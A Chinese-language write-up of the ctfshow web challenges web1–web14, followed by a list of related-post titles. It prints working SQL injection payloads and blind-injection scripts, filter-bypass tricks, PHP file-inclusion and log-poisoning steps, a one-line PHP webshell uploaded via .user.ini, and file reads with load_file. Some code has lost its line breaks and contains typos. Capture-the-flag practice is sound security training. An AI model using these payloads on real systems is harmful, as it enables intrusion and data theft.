目录

web签到题

web2

web3

web4

web5

web6

web7

web8

web9

错误做法

正确做法

web10

web11

web12

web13

web14


web签到题

直接f12查看到了一串编码,然后直接base64解码,得到flag

web2

直接用万能密码登录成功,

查询得到,回显的地方为第二个字段

然后开始爆表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

爆字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=`flag`#

查数据

1' union select 1,flag,3 from flag#

web3

我们可以直接

?url=php://input
POST:<?php sysytem("ls");>

得到了一个flag文件

?url=php://input
POST:<?php sysytem("cat 文件");>

web4

题与web3相似,然后我们直接尝试一下data伪协议不行的

然后尝试日志注入

?url=/var/log/nginx/access.log

然后我们把一句话木马加在User-Agent里

在用蚁剑连一下

web5

<?php$flag="";$v1=$_GET['v1'];$v2=$_GET['v2'];if(isset($v1) && isset($v2)){if(!ctype_alpha($v1)){die("v1 error");}if(!is_numeric($v2)){die("v2 error");}if(md5($v1)==md5($v2)){echo $flag;}}else{echo "where is flag?";}?>
ctype_alpha():判断变量是否由字母组成
is_numeric():判断变量是否由数字组成

很简单的,我们可以直接找一个纯数字和一个纯字母加密后为0e开头的md5值

?v2=240610708&v1=EEIZDOI

以下为收集到md5值为0e开头的英文和数字

QLTHNDT
0e405967825401955372549139051580
​
QNKCDZO
0e830400451993494058024219903391
​
EEIZDOI
0e782601363539291779881938479162
​
TUFEPMC
0e839407194569345277863905212547
​
UTIPEZQ
0e382098788231234954670291303879
​
UYXFLOI
0e552539585246568817348686838809
​
IHKFRNS
0e256160682445802696926137988570
​
PJNPDWY
0e291529052894702774557631701704
​
ABJIHVY
0e755264355178451322893275696586
​
DQWRASX
0e742373665639232907775599582643
​
DYAXWCA
0e424759758842488633464374063001
​
GEGHBXL
0e248776895502908863709684713578
​
GGHMVOE
0e362766013028313274586933780773
​
GZECLQZ
0e537612333747236407713628225676
​
NWWKITQ
0e763082070976038347657360817689
​
NOOPCJF
0e818888003657176127862245791911
​
MAUXXQC
0e478478466848439040434801845361
​
MMHUWUV
0e701732711630150438129209816536
240610708
0e462097431906509019562988736854
​
314282422
0e990995504821699494520356953734
​
571579406
0e972379832854295224118025748221
​
903251147
0e174510503823932942361353209384
​
1110242161
0e435874558488625891324861198103
​
1320830526
0e912095958985483346995414060832
​
1586264293
0e622743671155995737639662718498
​
2302756269
0e250566888497473798724426794462
​
2427435592
0e067696952328669732475498472343
​
2653531602
0e877487522341544758028810610885
​
3293867441
0e471001201303602543921144570260
​
3295421201
0e703870333002232681239618856220
​
3465814713
0e258631645650999664521705537122
​
3524854780
0e507419062489887827087815735195
​
3908336290
0e807624498959190415881248245271
​
4011627063
0e485805687034439905938362701775
​
4775635065
0e998212089946640967599450361168
​
4790555361
0e643442214660994430134492464512
​
5432453531
0e512318699085881630861890526097
​
5579679820
0e877622011730221803461740184915
​
5585393579
0e664357355382305805992765337023
​
6376552501
0e165886706997482187870215578015
​
7124129977
0e500007361044747804682122060876
​
7197546197
0e915188576072469101457315675502
​
7656486157
0e451569119711843337267091732412

web6

这个题过滤掉了空格

我们可以直接用/**/替换空格就好

admin' or 1=1# //报错了
admin‘/**/or/**/1=1# //成功了
/开始~~
admin'/**/or/**/1=1/**/order/**/by/**/3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="flag"#
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

web7

该题为盲注,看了y4爷的二分法脚本

import requests
​
url = "http://ef1aa69c-3250-414b-9468-0c03efbfbd6f.chall.ctf.show/?id='/**/"
​
result = ''
i = 0
​
while True:i = i + 1head = 32tail = 127
​while head < tail:mid = (head + tail) >> 1# payload = 'if(ascii(substr(database(),%d,1))>%d,1,0)' % (i, mid)# payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,0)'# payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag")),{i},1))>{mid},1,0)'payload = f'if(ascii(substr((select/**/(flag)from(flag)),{i},1))>{mid},1,0)'r = requests.get(url + payload)if "By Rudyard Kipling" in r.text:head = mid + 1else:tail = mid
​if head != 32:result += chr(head)else:breakprint(result)
​

web8

import requests
​
url = "http://a448d26a-b594-47a1-b3e0-fddbe1d869ba.chall.ctf.show/?id=-1/**/or/**/"
​
result = ''
i = 0
​
while True:i = i + 1head = 32tail = 127
​while head < tail:mid = (head + tail) >> 1# payload = f'ascii(substr(database()/**/from/**/{i}/**/for/**/1))>{mid}#'# payload = f'ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database()))/**/from/**/{i}/**/for/**/1))>{mid}'# payload = f'ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag"))/**/from/**/{i}/**/for/**/1))>{mid}'payload = f'ascii(substr((select/**/(flag)from(flag))/**/from/**/{i}/**/for/**/1))>{mid}'r = requests.get(url + payload)if "By Rudyard Kipling" in r.text:head = mid + 1else:tail = mid
​if head != 32:result += chr(head)else:breakprint(result)
​

web9

错误做法

打开是一个管理员登录,需要输入密码,我们直接爆破就好

得到了一个base64转图片的密文

然后转一下得到一个图片,下载这个图片,没有任何东西

做到这,才发现前面全是粗了,思路根本不对

正确做法

先看一下/robots.txt,发现有一个index.phps

保存查看,源码如下

<?php$flag="";$password=$_POST['password'];if(strlen($password)>10){die("password error");}$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){echo "登陆成功<br>";echo $flag;}}?>

主要就是这一句话

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'"

将密码转换成16进制的hex值以后,再将其转换成字符串后包含’ ‘or ’ 6’

SELECT * FROM admin WHERE pass=’ ‘or ’ 6’

在网上有两个这样的字符串

ffifdyop、129581926211651571912466741651878684928

又因为长度有限制,所以输入ffifdyop可获得flag

web10

我们点击取消键,下载了附件内容

<?php$flag="";function replaceSpecialChar($strParam){$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";return preg_replace($regex,"",$strParam);}if (!$con){die('Could not connect: ' . mysqli_error());}if(strlen($username)!=strlen(replaceSpecialChar($username))){die("sql inject error");}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}$sql="select * from user where username = '$username'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功<br>";echo $flag;}
​}}?>

源码:对post的数据进行的过滤,然后要对查询出来的值要和我们post的password相等

进行了WITH ROLLUP绕过

WITH ROLLUP是对group by的结果进行进一步的汇总然后显示,在group by 列名 with rollup 中,倘若按列名分组后,列的属性值是不相同的,会生成一条分组条件的列为null的一条新的数据。而如果查询结果是唯一的,一会生成一条分组条件所在列为null的数据

'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#

因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可

web11

<?phpfunction replaceSpecialChar($strParam){$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";return preg_replace($regex,"",$strParam);}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}if($password==$_SESSION['password']){echo $flag;}else{echo "error";}?>

在这里我们可以看到过滤掉了好多东西,然后它让我们

输入框的内容等于session的内容

 if($password==$_SESSION['password']){

我们可以删除里面的phpsesionid,然后session的值为空了,然后可以直接提交空密码就相等了

web12

打开题目环境,找到了一个hint

发现可以直接rce

然后在这里学到了一个新的函数

php的函数glob();glob()函数返回匹配指定模式的文件名或目录
glob("")匹配任意文件
glob(".txt")匹配以txt后缀的文件

我们可以用这个方法把当前目录的文件打印一下

输入:

?cmd=print_r(glob("*"));

 我们找到了一个文件,然后用高显函数,显示一下

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

得到flag

web13

打开题目为一个文件上传的题,尝试上传木马,上传了好多次并没有什么用,然后猜一下有没有源码泄露

.bak文件是备份文件。
.hg源码泄漏
.git源码泄漏
.DS_Store文件泄漏
.phps .bak结尾的网页

upload.php.bak得到了源码

<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}else{echo "文件上传失败!";}
​?>

我们上传一句话木马,文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php

然后我们构造一个一句话木马1.txt,内容如下

<?php eval($_GET['a']);

上传成功~然后我们在上传一个.user.ini,在文件中写上

auto_prepend_file=1.txt

作用就是让txt文件以php呈现

在这里我尝试用蚁剑连,发现连不上,我们就直接在页面上搜索

a=print_r(glob("*"));

得到了文件,然后再次使用高显函数进行查看文件

a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

得到flag

web14

首先查看一下源码

<?php
include("secret.php");
​
if(isset($_GET['c'])){$c = intval($_GET['c']);sleep($c);switch ($c) {case 1:echo '$url';break;case 2:echo '@A@';break;case 555555:echo $url;case 44444:echo "@A@";break;case 3333:echo $url;break;case 222:echo '@A@';break;case 222:echo '@A@';break;case 3333:echo $url;break;case 44444:echo '@A@';case 555555:echo $url;break;case 3:echo '@A@';case 6000000:echo "$url";case 1:echo '@A@';break;}
}
​
highlight_file(__FILE__); 

很明显我们传入参数?c=3,不会退出循环,进而执行下一个case语句得到url

here_1s_your_f1ag.php

我们进入之后发现是一个注入的题目,然后我们看一下源码

if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){die('@A@');}

还是一样的爆一下数据库

?query=-1/**/union/**/select/**/database()

然后再爆表(注:因为过滤掉了有些关键词,我们可以利用反引号进行绕过)

table——》`table`
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

爆字段名

query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

爆值

query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

没有得到flag,但是给了提示在secret.php

mysql提供读取本地文件的函数load_file()

?query=-1/**/union/**/select/**/load_file('/var/www/html/serect.php')

源码如下

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){echo file_get_contents('/real_flag_is_here');
}')

我们可以直接读取'/real_flag_is_here'

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

得到flag

ctfshow-web相关推荐

  1. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  2. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  3. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  4. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

  5. [ctfshow web入门]常用姿势801-806

    1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...

  6. ctfshow web入门-XXE

    ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...

  7. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  8. ctfshow web入门 反序列化 前篇 254-266

    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...

  9. Ctfshow web入门 爆破系列 21~28

    目录 Ctfshow web 21 Ctfshow web 22 Ctfshow web 23 Ctfshow web 24 Ctfshow web 25 Ctfshow web 26 Ctfshow ...

  10. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

最新文章

  1. 前端基础面试题大全-极乐科技(一)-JS部分
  2. Method Tracking
  3. 大数据预测实战-随机森林预测实战(四)-模型调参
  4. GitHub与GitLab的区别
  5. [20150304]唯一索引与阻塞.txt
  6. ubuntu16.04下安装wine及TIM
  7. 学习问题--js图片路径加载问题
  8. 腾讯云折(tian)腾(keng)记
  9. android摇一摇切换配置,逍遥模拟器也可以摇一摇了 附设置教程
  10. 非线性可视化(3)混沌系统
  11. 更换新硬盘,重新装回正版win10的方法
  12. [SCOI2014]方伯伯的玉米田
  13. 什么是统一身份认证?
  14. 开源项目:BottomBar
  15. wu版-天下无难试之Redis面试题刁难大全
  16. 沉痛悼念“中国航天之父”、我校创始人之一、近代力学系首任系主任钱学森先生
  17. 招商银行2022FinTech数据赛道总结
  18. Service的两种启动方式,显示启动和隐式启动
  19. @图灵不吃苹果 #C++ 人员管理
  20. 虚拟化技术与云计算基础 大数据视频教程

热门文章

  1. HTTP,HTTPS,数据库等默认的端口号
  2. 大数据分析案例-基于决策树算法构建信用卡违约预测模型
  3. 用代码制作五角星2021-10-22
  4. mysql中组合索引创建的原则是什么意思_面试前必须要掌握的MySQL索引最左前缀匹配原则...
  5. double free or corruption错误定位
  6. 机械正时正确,发动机持续亮故障灯?
  7. 计算机考研数学试卷,考研数学一般有几种试卷?
  8. 为什么很多人排斥中国女生嫁去外国?
  9. Java按照固定pdf模板生成pdf文件——itext
  10. 职场必知的20条黄金法则